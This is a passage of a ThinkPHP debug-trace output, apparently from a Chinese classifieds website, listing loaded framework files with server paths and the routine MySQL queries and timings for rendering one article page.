  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000594s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000759s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000313s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000255s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000482s ]
  6. SELECT * FROM `set` [ RunTime:0.000189s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000503s ]
  8. SELECT * FROM `article` WHERE `id` = 471223 LIMIT 1 [ RunTime:0.000475s ]
  9. UPDATE `article` SET `lasttime` = 1770432481 WHERE `id` = 471223 [ RunTime:0.008422s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000854s ]
  11. SELECT * FROM `article` WHERE `id` < 471223 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000476s ]
  12. SELECT * FROM `article` WHERE `id` > 471223 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000600s ]
  13. SELECT * FROM `article` WHERE `id` < 471223 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.001248s ]
  14. SELECT * FROM `article` WHERE `id` < 471223 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.013452s ]
  15. SELECT * FROM `article` WHERE `id` < 471223 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.005162s ]
0.101070s